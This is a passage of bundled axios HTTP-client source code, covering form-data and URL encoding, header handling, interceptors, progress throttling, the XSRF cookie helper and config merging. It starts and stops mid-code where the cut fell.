utils$1.isPlainObject(thing) || utils$1.isArray(thing); } /** * It removes the brackets from the end of a string * * @param {string} key - The key of the parameter. * * @returns {string} the key without the brackets. */ function removeBrackets(key) { return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key; } /** * It takes a path, a key, and a boolean, and returns a string * * @param {string} path - The path to the current key. * @param {string} key - The key of the current object being iterated over. * @param {string} dots - If true, the key will be rendered with dots instead of brackets. * * @returns {string} The path to the current key. */ function renderKey(path, key, dots) { if (!path) return key; return path.concat(key).map(function each(token, i) { // eslint-disable-next-line no-param-reassign token = removeBrackets(token); return !dots && i ? '[' + token + ']' : token; }).join(dots ? '.' : ''); } /** * If the array is an array and none of its elements are visitable, then it's a flat array. * * @param {Array<any>} arr - The array to check * * @returns {boolean} */ function isFlatArray(arr) { return utils$1.isArray(arr) && !arr.some(isVisitable); } const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) { return /^is[A-Z]/.test(prop); }); /** * Convert a data object to FormData * * @param {Object} obj * @param {?Object} [formData] * @param {?Object} [options] * @param {Function} [options.visitor] * @param {Boolean} [options.metaTokens = true] * @param {Boolean} [options.dots = false] * @param {?Boolean} [options.indexes = false] * * @returns {Object} **/ /** * It converts an object into a FormData object * * @param {Object<any, any>} obj - The object to convert to form data. * @param {string} formData - The FormData object to append to. * @param {Object<string, any>} options * * @returns */ function toFormData$1(obj, formData, options) { if (!utils$1.isObject(obj)) { throw new TypeError('target must be an object'); } // eslint-disable-next-line no-param-reassign formData = formData || new (FormData)(); // eslint-disable-next-line no-param-reassign options = utils$1.toFlatObject(options, { metaTokens: true, dots: false, indexes: false }, false, function defined(option, source) { // eslint-disable-next-line no-eq-null,eqeqeq return !utils$1.isUndefined(source[option]); }); const metaTokens = options.metaTokens; // eslint-disable-next-line no-use-before-define const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob; const useBlob = _Blob && utils$1.isSpecCompliantForm(formData); if (!utils$1.isFunction(visitor)) { throw new TypeError('visitor must be a function'); } function convertValue(value) { if (value === null) return ''; if (utils$1.isDate(value)) { return value.toISOString(); } if (!useBlob && utils$1.isBlob(value)) { throw new AxiosError$1('Blob is not supported. Use a Buffer instead.'); } if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) { return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value); } return value; } /** * Default visitor. * * @param {*} value * @param {String|Number} key * @param {Array<String|Number>} path * @this {FormData} * * @returns {boolean} return true to visit the each prop of the value recursively */ function defaultVisitor(value, key, path) { let arr = value; if (value && !path && typeof value === 'object') { if (utils$1.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } else if ( (utils$1.isArray(value) && isFlatArray(value)) || ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value)) )) { // eslint-disable-next-line no-param-reassign key = removeBrackets(key); arr.forEach(function each(el, index) { !(utils$1.isUndefined(el) || el === null) && formData.append( // eslint-disable-next-line no-nested-ternary indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'), convertValue(el) ); }); return false; } } if (isVisitable(value)) { return true; } formData.append(renderKey(path, key, dots), convertValue(value)); return false; } const stack = []; const exposedHelpers = Object.assign(predicates, { defaultVisitor, convertValue, isVisitable }); function build(value, path) { if (utils$1.isUndefined(value)) return; if (stack.indexOf(value) !== -1) { throw Error('Circular reference detected in ' + path.join('.')); } stack.push(value); utils$1.forEach(value, function each(el, key) { const result = !(utils$1.isUndefined(el) || el === null) && visitor.call( formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers ); if (result === true) { build(el, path ? path.concat(key) : [key]); } }); stack.pop(); } if (!utils$1.isObject(obj)) { throw new TypeError('data must be an object'); } build(obj); return formData; } /** * It encodes a string by replacing all characters that are not in the unreserved set with * their percent-encoded equivalents * * @param {string} str - The string to encode. * * @returns {string} The encoded string. */ function encode$1(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } /** * It takes a params object and converts it to a FormData object * * @param {Object<string, any>} params - The parameters to be converted to a FormData object. * @param {Object<string, any>} options - The options object passed to the Axios constructor. * * @returns {void} */ function AxiosURLSearchParams(params, options) { this._pairs = []; params && toFormData$1(params, this, options); } const prototype = AxiosURLSearchParams.prototype; prototype.append = function append(name, value) { this._pairs.push([name, value]); }; prototype.toString = function toString(encoder) { const _encode = encoder ? function(value) { return encoder.call(this, value, encode$1); } : encode$1; return this._pairs.map(function each(pair) { return _encode(pair[0]) + '=' + _encode(pair[1]); }, '').join('&'); }; /** * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their * URI encoded counterparts * * @param {string} val The value to be encoded. * * @returns {string} The encoded value. */ function encode(val) { return encodeURIComponent(val). replace(/%3A/gi, ':'). replace(/%24/g, '$'). replace(/%2C/gi, ','). replace(/%20/g, '+'). replace(/%5B/gi, '['). replace(/%5D/gi, ']'); } /** * Build a URL by appending params to the end * * @param {string} url The base of the url (e.g., http://www.google.com) * @param {object} [params] The params to be appended * @param {?object} options * * @returns {string} The formatted url */ function buildURL(url, params, options) { /*eslint no-param-reassign:0*/ if (!params) { return url; } const _encode = options && options.encode || encode; const serializeFn = options && options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, options); } else { serializedParams = utils$1.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, options).toString(_encode); } if (serializedParams) { const hashmarkIndex = url.indexOf("#"); if (hashmarkIndex !== -1) { url = url.slice(0, hashmarkIndex); } url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams; } return url; } class InterceptorManager { constructor() { this.handlers = []; } /** * Add a new interceptor to the stack * * @param {Function} fulfilled The function to handle `then` for a `Promise` * @param {Function} rejected The function to handle `reject` for a `Promise` * * @return {Number} An ID used to remove interceptor later */ use(fulfilled, rejected, options) { this.handlers.push({ fulfilled, rejected, synchronous: options ? options.synchronous : false, runWhen: options ? options.runWhen : null }); return this.handlers.length - 1; } /** * Remove an interceptor from the stack * * @param {Number} id The ID that was returned by `use` * * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise */ eject(id) { if (this.handlers[id]) { this.handlers[id] = null; } } /** * Clear all interceptors from the stack * * @returns {void} */ clear() { if (this.handlers) { this.handlers = []; } } /** * Iterate over all the registered interceptors * * This method is particularly useful for skipping over any * interceptors that may have become `null` calling `eject`. * * @param {Function} fn The function to call for each interceptor * * @returns {void} */ forEach(fn) { utils$1.forEach(this.handlers, function forEachHandler(h) { if (h !== null) { fn(h); } }); } } const InterceptorManager$1 = InterceptorManager; const transitionalDefaults = { silentJSONParsing: true, forcedJSONParsing: true, clarifyTimeoutError: false }; const URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams; const FormData$1 = typeof FormData !== 'undefined' ? FormData : null; const Blob$1 = typeof Blob !== 'undefined' ? Blob : null; const platform$1 = { isBrowser: true, classes: { URLSearchParams: URLSearchParams$1, FormData: FormData$1, Blob: Blob$1 }, protocols: ['http', 'https', 'file', 'blob', 'url', 'data'] }; const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined'; /** * Determine if we're running in a standard browser environment * * This allows axios to run in a web worker, and react-native. * Both environments support XMLHttpRequest, but not fully standard globals. * * web workers: * typeof window -> undefined * typeof document -> undefined * * react-native: * navigator.product -> 'ReactNative' * nativescript * navigator.product -> 'NativeScript' or 'NS' * * @returns {boolean} */ const hasStandardBrowserEnv = ( (product) => { return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0 })(typeof navigator !== 'undefined' && navigator.product); /** * Determine if we're running in a standard browser webWorker environment * * Although the `isStandardBrowserEnv` method indicates that * `allows axios to run in a web worker`, the WebWorker will still be * filtered out due to its judgment standard * `typeof window !== 'undefined' && typeof document !== 'undefined'`. * This leads to a problem when axios post `FormData` in webWorker */ const hasStandardBrowserWebWorkerEnv = (() => { return ( typeof WorkerGlobalScope !== 'undefined' && // eslint-disable-next-line no-undef self instanceof WorkerGlobalScope && typeof self.importScripts === 'function' ); })(); const origin = hasBrowserEnv && window.location.href || 'http://localhost'; const utils = /*#__PURE__*/Object.freeze({ __proto__: null, hasBrowserEnv: hasBrowserEnv, hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv, hasStandardBrowserEnv: hasStandardBrowserEnv, origin: origin }); const platform = { ...utils, ...platform$1 }; function toURLEncodedForm(data, options) { return toFormData$1(data, new platform.classes.URLSearchParams(), Object.assign({ visitor: function(value, key, path, helpers) { if (platform.isNode && utils$1.isBuffer(value)) { this.append(key, value.toString('base64')); return false; } return helpers.defaultVisitor.apply(this, arguments); } }, options)); } /** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */ function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => { return match[0] === '[]' ? '' : match[1] || match[0]; }); } /** * Convert an array to an object. * * @param {Array<any>} arr - The array to convert to an object. * * @returns An object with the same keys and values as the array. */ function arrayToObject(arr) { const obj = {}; const keys = Object.keys(arr); let i; const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; obj[key] = arr[key]; } return obj; } /** * It takes a FormData object and returns a JavaScript object * * @param {string} formData The FormData object to convert to JSON. * * @returns {Object<string, any> | null} The converted object. */ function formDataToJSON(formData) { function buildPath(path, value, target, index) { let name = path[index++]; if (name === '__proto__') return true; const isNumericKey = Number.isFinite(+name); const isLast = index >= path.length; name = !name && utils$1.isArray(target) ? target.length : name; if (isLast) { if (utils$1.hasOwnProp(target, name)) { target[name] = [target[name], value]; } else { target[name] = value; } return !isNumericKey; } if (!target[name] || !utils$1.isObject(target[name])) { target[name] = []; } const result = buildPath(path, value, target[name], index); if (result && utils$1.isArray(target[name])) { target[name] = arrayToObject(target[name]); } return !isNumericKey; } if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) { const obj = {}; utils$1.forEachEntry(formData, (name, value) => { buildPath(parsePropPath(name), value, obj, 0); }); return obj; } return null; } /** * It takes a string, tries to parse it, and if it fails, it returns the stringified version * of the input * * @param {any} rawValue - The value to be stringified. * @param {Function} parser - A function that parses a string into a JavaScript object. * @param {Function} encoder - A function that takes a value and returns a string. * * @returns {string} A stringified version of the rawValue. */ function stringifySafely(rawValue, parser, encoder) { if (utils$1.isString(rawValue)) { try { (parser || JSON.parse)(rawValue); return utils$1.trim(rawValue); } catch (e) { if (e.name !== 'SyntaxError') { throw e; } } } return (encoder || JSON.stringify)(rawValue); } const defaults = { transitional: transitionalDefaults, adapter: ['xhr', 'http', 'fetch'], transformRequest: [function transformRequest(data, headers) { const contentType = headers.getContentType() || ''; const hasJSONContentType = contentType.indexOf('application/json') > -1; const isObjectPayload = utils$1.isObject(data); if (isObjectPayload && utils$1.isHTMLForm(data)) { data = new FormData(data); } const isFormData = utils$1.isFormData(data); if (isFormData) { return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; } if (utils$1.isArrayBuffer(data) || utils$1.isBuffer(data) || utils$1.isStream(data) || utils$1.isFile(data) || utils$1.isBlob(data) || utils$1.isReadableStream(data) ) { return data; } if (utils$1.isArrayBufferView(data)) { return data.buffer; } if (utils$1.isURLSearchParams(data)) { headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false); return data.toString(); } let isFileList; if (isObjectPayload) { if (contentType.indexOf('application/x-www-form-urlencoded') > -1) { return toURLEncodedForm(data, this.formSerializer).toString(); } if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) { const _FormData = this.env && this.env.FormData; return toFormData$1( isFileList ? {'files[]': data} : data, _FormData && new _FormData(), this.formSerializer ); } } if (isObjectPayload || hasJSONContentType ) { headers.setContentType('application/json', false); return stringifySafely(data); } return data; }], transformResponse: [function transformResponse(data) { const transitional = this.transitional || defaults.transitional; const forcedJSONParsing = transitional && transitional.forcedJSONParsing; const JSONRequested = this.responseType === 'json'; if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) { return data; } if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { const silentJSONParsing = transitional && transitional.silentJSONParsing; const strictJSONParsing = !silentJSONParsing && JSONRequested; try { return JSON.parse(data); } catch (e) { if (strictJSONParsing) { if (e.name === 'SyntaxError') { throw AxiosError$1.from(e, AxiosError$1.ERR_BAD_RESPONSE, this, null, this.response); } throw e; } } } return data; }], /** * A timeout in milliseconds to abort a request. If set to 0 (default) a * timeout is not created. */ timeout: 0, xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', maxContentLength: -1, maxBodyLength: -1, env: { FormData: platform.classes.FormData, Blob: platform.classes.Blob }, validateStatus: function validateStatus(status) { return status >= 200 && status < 300; }, headers: { common: { 'Accept': 'application/json, text/plain, */*', 'Content-Type': undefined } } }; utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => { defaults.headers[method] = {}; }); const defaults$1 = defaults; // RawAxiosHeaders whose duplicates are ignored by node // c.f. https://nodejs.org/api/http.html#http_message_headers const ignoreDuplicateOf = utils$1.toObjectSet([ 'age', 'authorization', 'content-length', 'content-type', 'etag', 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since', 'last-modified', 'location', 'max-forwards', 'proxy-authorization', 'referer', 'retry-after', 'user-agent' ]); /** * Parse headers into an object * * ``` * Date: Wed, 27 Aug 2014 08:58:49 GMT * Content-Type: application/json * Connection: keep-alive * Transfer-Encoding: chunked * ``` * * @param {String} rawHeaders Headers needing to be parsed * * @returns {Object} Headers parsed into an object */ const parseHeaders = rawHeaders => { const parsed = {}; let key; let val; let i; rawHeaders && rawHeaders.split('\n').forEach(function parser(line) { i = line.indexOf(':'); key = line.substring(0, i).trim().toLowerCase(); val = line.substring(i + 1).trim(); if (!key || (parsed[key] && ignoreDuplicateOf[key])) { return; } if (key === 'set-cookie') { if (parsed[key]) { parsed[key].push(val); } else { parsed[key] = [val]; } } else { parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val; } }); return parsed; }; const $internals = Symbol('internals'); function normalizeHeader(header) { return header && String(header).trim().toLowerCase(); } function normalizeValue(value) { if (value === false || value == null) { return value; } return utils$1.isArray(value) ? value.map(normalizeValue) : String(value); } function parseTokens(str) { const tokens = Object.create(null); const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; let match; while ((match = tokensRE.exec(str))) { tokens[match[1]] = match[2]; } return tokens; } const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim()); function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) { if (utils$1.isFunction(filter)) { return filter.call(this, value, header); } if (isHeaderNameFilter) { value = header; } if (!utils$1.isString(value)) return; if (utils$1.isString(filter)) { return value.indexOf(filter) !== -1; } if (utils$1.isRegExp(filter)) { return filter.test(value); } } function formatHeader(header) { return header.trim() .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => { return char.toUpperCase() + str; }); } function buildAccessors(obj, header) { const accessorName = utils$1.toCamelCase(' ' + header); ['get', 'set', 'has'].forEach(methodName => { Object.defineProperty(obj, methodName + accessorName, { value: function(arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); }, configurable: true }); }); } class AxiosHeaders$1 { constructor(headers) { headers && this.set(headers); } set(header, valueOrRewrite, rewrite) { const self = this; function setHeader(_value, _header, _rewrite) { const lHeader = normalizeHeader(_header); if (!lHeader) { throw new Error('header name must be a non-empty string'); } const key = utils$1.findKey(self, lHeader); if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) { self[key || _header] = normalizeValue(_value); } } const setHeaders = (headers, _rewrite) => utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite)); if (utils$1.isPlainObject(header) || header instanceof this.constructor) { setHeaders(header, valueOrRewrite); } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) { setHeaders(parseHeaders(header), valueOrRewrite); } else if (utils$1.isHeaders(header)) { for (const [key, value] of header.entries()) { setHeader(value, key, rewrite); } } else { header != null && setHeader(valueOrRewrite, header, rewrite); } return this; } get(header, parser) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); if (key) { const value = this[key]; if (!parser) { return value; } if (parser === true) { return parseTokens(value); } if (utils$1.isFunction(parser)) { return parser.call(this, value, key); } if (utils$1.isRegExp(parser)) { return parser.exec(value); } throw new TypeError('parser must be boolean|regexp|function'); } } } has(header, matcher) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher))); } return false; } delete(header, matcher) { const self = this; let deleted = false; function deleteHeader(_header) { _header = normalizeHeader(_header); if (_header) { const key = utils$1.findKey(self, _header); if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) { delete self[key]; deleted = true; } } } if (utils$1.isArray(header)) { header.forEach(deleteHeader); } else { deleteHeader(header); } return deleted; } clear(matcher) { const keys = Object.keys(this); let i = keys.length; let deleted = false; while (i--) { const key = keys[i]; if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) { delete this[key]; deleted = true; } } return deleted; } normalize(format) { const self = this; const headers = {}; utils$1.forEach(this, (value, header) => { const key = utils$1.findKey(headers, header); if (key) { self[key] = normalizeValue(value); delete self[header]; return; } const normalized = format ? formatHeader(header) : String(header).trim(); if (normalized !== header) { delete self[header]; } self[normalized] = normalizeValue(value); headers[normalized] = true; }); return this; } concat(...targets) { return this.constructor.concat(this, ...targets); } toJSON(asStrings) { const obj = Object.create(null); utils$1.forEach(this, (value, header) => { value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value); }); return obj; } [Symbol.iterator]() { return Object.entries(this.toJSON())[Symbol.iterator](); } toString() { return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n'); } get [Symbol.toStringTag]() { return 'AxiosHeaders'; } static from(thing) { return thing instanceof this ? thing : new this(thing); } static concat(first, ...targets) { const computed = new this(first); targets.forEach((target) => computed.set(target)); return computed; } static accessor(header) { const internals = this[$internals] = (this[$internals] = { accessors: {} }); const accessors = internals.accessors; const prototype = this.prototype; function defineAccessor(_header) { const lHeader = normalizeHeader(_header); if (!accessors[lHeader]) { buildAccessors(prototype, _header); accessors[lHeader] = true; } } utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header); return this; } } AxiosHeaders$1.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']); // reserved names hotfix utils$1.reduceDescriptors(AxiosHeaders$1.prototype, ({value}, key) => { let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set` return { get: () => value, set(headerValue) { this[mapped] = headerValue; } } }); utils$1.freezeMethods(AxiosHeaders$1); const AxiosHeaders$2 = AxiosHeaders$1; /** * Transform the data for a request or a response * * @param {Array|Function} fns A single function or Array of functions * @param {?Object} response The response object * * @returns {*} The resulting transformed data */ function transformData(fns, response) { const config = this || defaults$1; const context = response || config; const headers = AxiosHeaders$2.from(context.headers); let data = context.data; utils$1.forEach(fns, function transform(fn) { data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); headers.normalize(); return data; } function isCancel$1(value) { return !!(value && value.__CANCEL__); } /** * A `CanceledError` is an object that is thrown when an operation is canceled. * * @param {string=} message The message. * @param {Object=} config The config. * @param {Object=} request The request. * * @returns {CanceledError} The created error. */ function CanceledError$1(message, config, request) { // eslint-disable-next-line no-eq-null,eqeqeq AxiosError$1.call(this, message == null ? 'canceled' : message, AxiosError$1.ERR_CANCELED, config, request); this.name = 'CanceledError'; } utils$1.inherits(CanceledError$1, AxiosError$1, { __CANCEL__: true }); /** * Resolve or reject a Promise based on response status. * * @param {Function} resolve A function that resolves the promise. * @param {Function} reject A function that rejects the promise. * @param {object} response The response. * * @returns {object} The response. */ function settle(resolve, reject, response) { const validateStatus = response.config.validateStatus; if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); } else { reject(new AxiosError$1( 'Request failed with status code ' + response.status, [AxiosError$1.ERR_BAD_REQUEST, AxiosError$1.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], response.config, response.request, response )); } } function parseProtocol(url) { const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url); return match && match[1] || ''; } /** * Calculate data maxRate * @param {Number} [samplesCount= 10] * @param {Number} [min= 1000] * @returns {Function} */ function speedometer(samplesCount, min) { samplesCount = samplesCount || 10; const bytes = new Array(samplesCount); const timestamps = new Array(samplesCount); let head = 0; let tail = 0; let firstSampleTS; min = min !== undefined ? min : 1000; return function push(chunkLength) { const now = Date.now(); const startedAt = timestamps[tail]; if (!firstSampleTS) { firstSampleTS = now; } bytes[head] = chunkLength; timestamps[head] = now; let i = tail; let bytesCount = 0; while (i !== head) { bytesCount += bytes[i++]; i = i % samplesCount; } head = (head + 1) % samplesCount; if (head === tail) { tail = (tail + 1) % samplesCount; } if (now - firstSampleTS < min) { return; } const passed = startedAt && now - startedAt; return passed ? Math.round(bytesCount * 1000 / passed) : undefined; }; } /** * Throttle decorator * @param {Function} fn * @param {Number} freq * @return {Function} */ function throttle(fn, freq) { let timestamp = 0; const threshold = 1000 / freq; let timer = null; return function throttled() { const force = this === true; const now = Date.now(); if (force || now - timestamp > threshold) { if (timer) { clearTimeout(timer); timer = null; } timestamp = now; return fn.apply(null, arguments); } if (!timer) { timer = setTimeout(() => { timer = null; timestamp = Date.now(); return fn.apply(null, arguments); }, threshold - (now - timestamp)); } }; } const progressEventReducer = (listener, isDownloadStream, freq = 3) => { let bytesNotified = 0; const _speedometer = speedometer(50, 250); return throttle(e => { const loaded = e.loaded; const total = e.lengthComputable ? e.total : undefined; const progressBytes = loaded - bytesNotified; const rate = _speedometer(progressBytes); const inRange = loaded <= total; bytesNotified = loaded; const data = { loaded, total, progress: total ? (loaded / total) : undefined, bytes: progressBytes, rate: rate ? rate : undefined, estimated: rate && total && inRange ? (total - loaded) / rate : undefined, event: e, lengthComputable: total != null }; data[isDownloadStream ? 'download' : 'upload'] = true; listener(data); }, freq); }; const isURLSameOrigin = platform.hasStandardBrowserEnv ? // Standard browser envs have full support of the APIs needed to test // whether the request URL is of the same origin as current location. (function standardBrowserEnv() { const msie = /(msie|trident)/i.test(navigator.userAgent); const urlParsingNode = document.createElement('a'); let originURL; /** * Parse a URL to discover its components * * @param {String} url The URL to be parsed * @returns {Object} */ function resolveURL(url) { let href = url; if (msie) { // IE needs attribute set twice to normalize properties urlParsingNode.setAttribute('href', href); href = urlParsingNode.href; } urlParsingNode.setAttribute('href', href); // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils return { href: urlParsingNode.href, protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '', host: urlParsingNode.host, search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '', hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '', hostname: urlParsingNode.hostname, port: urlParsingNode.port, pathname: (urlParsingNode.pathname.charAt(0) === '/') ? urlParsingNode.pathname : '/' + urlParsingNode.pathname }; } originURL = resolveURL(window.location.href); /** * Determine if a URL shares the same origin as the current location * * @param {String} requestURL The URL to test * @returns {boolean} True if URL shares the same origin, otherwise false */ return function isURLSameOrigin(requestURL) { const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL; return (parsed.protocol === originURL.protocol && parsed.host === originURL.host); }; })() : // Non standard browser envs (web workers, react-native) lack needed support. (function nonStandardBrowserEnv() { return function isURLSameOrigin() { return true; }; })(); const cookies = platform.hasStandardBrowserEnv ? // Standard browser envs support document.cookie { write(name, value, expires, path, domain, secure) { const cookie = [name + '=' + encodeURIComponent(value)]; utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString()); utils$1.isString(path) && cookie.push('path=' + path); utils$1.isString(domain) && cookie.push('domain=' + domain); secure === true && cookie.push('secure'); document.cookie = cookie.join('; '); }, read(name) { const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)')); return (match ? decodeURIComponent(match[3]) : null); }, remove(name) { this.write(name, '', Date.now() - 86400000); } } : // Non-standard browser env (web workers, react-native) lack needed support. { write() {}, read() { return null; }, remove() {} }; /** * Determines whether the specified URL is absolute * * @param {string} url The URL to test * * @returns {boolean} True if the specified URL is absolute, otherwise false */ function isAbsoluteURL(url) { // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL). // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed // by any combination of letters, digits, plus, period, or hyphen. return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); } /** * Creates a new URL by combining the specified URLs * * @param {string} baseURL The base URL * @param {string} relativeURL The relative URL * * @returns {string} The combined URL */ function combineURLs(baseURL, relativeURL) { return relativeURL ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '') : baseURL; } /** * Creates a new URL by combining the baseURL with the requestedURL, * only when the requestedURL is not already an absolute URL. * If the requestURL is absolute, this function returns the requestedURL untouched. * * @param {string} baseURL The base URL * @param {string} requestedURL Absolute or relative URL to combine * * @returns {string} The combined full path */ function buildFullPath(baseURL, requestedURL) { if (baseURL && !isAbsoluteURL(requestedURL)) { return combineURLs(baseURL, requestedURL); } return requestedURL; } const headersToObject = (thing) => thing instanceof AxiosHeaders$2 ? { ...thing } : thing; /** * Config-specific merge-function which creates a new config-object * by merging two configuration objects together. * * @param {Object} config1 * @param {Object} config2 * * @returns {Object} New object resulting from merging config2 to config1 */ function mergeConfig$1(config1, config2) { // eslint-disable-next-line no-param-reassign config2 = config2 || {}; const config = {}; function getMergedValue(target, source, caseless) { if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) { return utils$1.merge.call({caseless}, target, source); } else if (utils$1.isPlainObject(source)) { return utils$1.merge({}, source); } else if (utils$1.isArray(source)) { return source.slice(); } return source; } // eslint-disable-next-line consistent-return function mergeDeepProperties(a, b, caseless) { if (!utils$1.isUndefined(b)) { return getMergedValue(a, b, caseless); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a, caseless); } } // eslint-disable-next-line consistent-return function valueFromConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } } // eslint-disable-next-line consistent-return function defaultToConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a); } } // eslint-disable-next-line consistent-return function mergeDirectKeys(a, b, prop) { if (prop in config2) { return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } const mergeMap = { url: valueFromConfig2, method: valueFromConfig2, data: valueFromConfig2, baseURL: defaultToConfig2, transformRequest: defaultToConfig2, transformResponse: defaultToConfig2, paramsSerializer: defaultToConfig2, timeout: defaultToConfig2, timeoutMessage: defaultToConfig2, withCredentials: defaultToConfig2, withXSRFToken: defaultToConfig2, adapter: defaultToConfig2, responseType: defaultToConfig2, xsrfCookieName: defaultToConfig2, xsrfHeaderName: defaultToConfig2, onUploadProgress: defaultToConfig2, onDownloadProgress: defaultToConfig2, decompress: defaultToConfig2, maxContentLength: defaultToConfig2, maxBodyLength: defaultToConfig2, beforeRedirect: defaultToConfig2, transport: defaultToConfig2, httpAgent: defaultToConfig2, httpsAgent: defaultToConfig2, cancelToken: defaultToConfig2, socketPath: defaultToConfig2, responseEncoding: defaultToConfig2, validateStatus: mergeDirectKeys, headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true) }; utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); return config; } const resolveConfig = (config) => { const newConfig = mergeConfig$1({}, config); let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig; newConfig.headers = headers = AxiosHeaders$2.from(headers); newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer); // HTTP basic authentication if (auth) { headers.set('Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : '')) ); } let contentType; if (utils$1.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) { headers.setContentType(undefined); // Let the browser set it } else if ((contentType = headers.getContentType()) !== false) { // fix semicolon duplication issue for ReactNative FormData implementation const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : []; headers.setContentType([type || 'multipart/form-data', ...tokens].join('; ')); } } // Add xsrf header // This is only done if running in a standard browser environment. // Specifically not if we're in a web worker, or react-native. if (platform.hasStandardBrowserEnv) { withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // Add xsrf header const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { 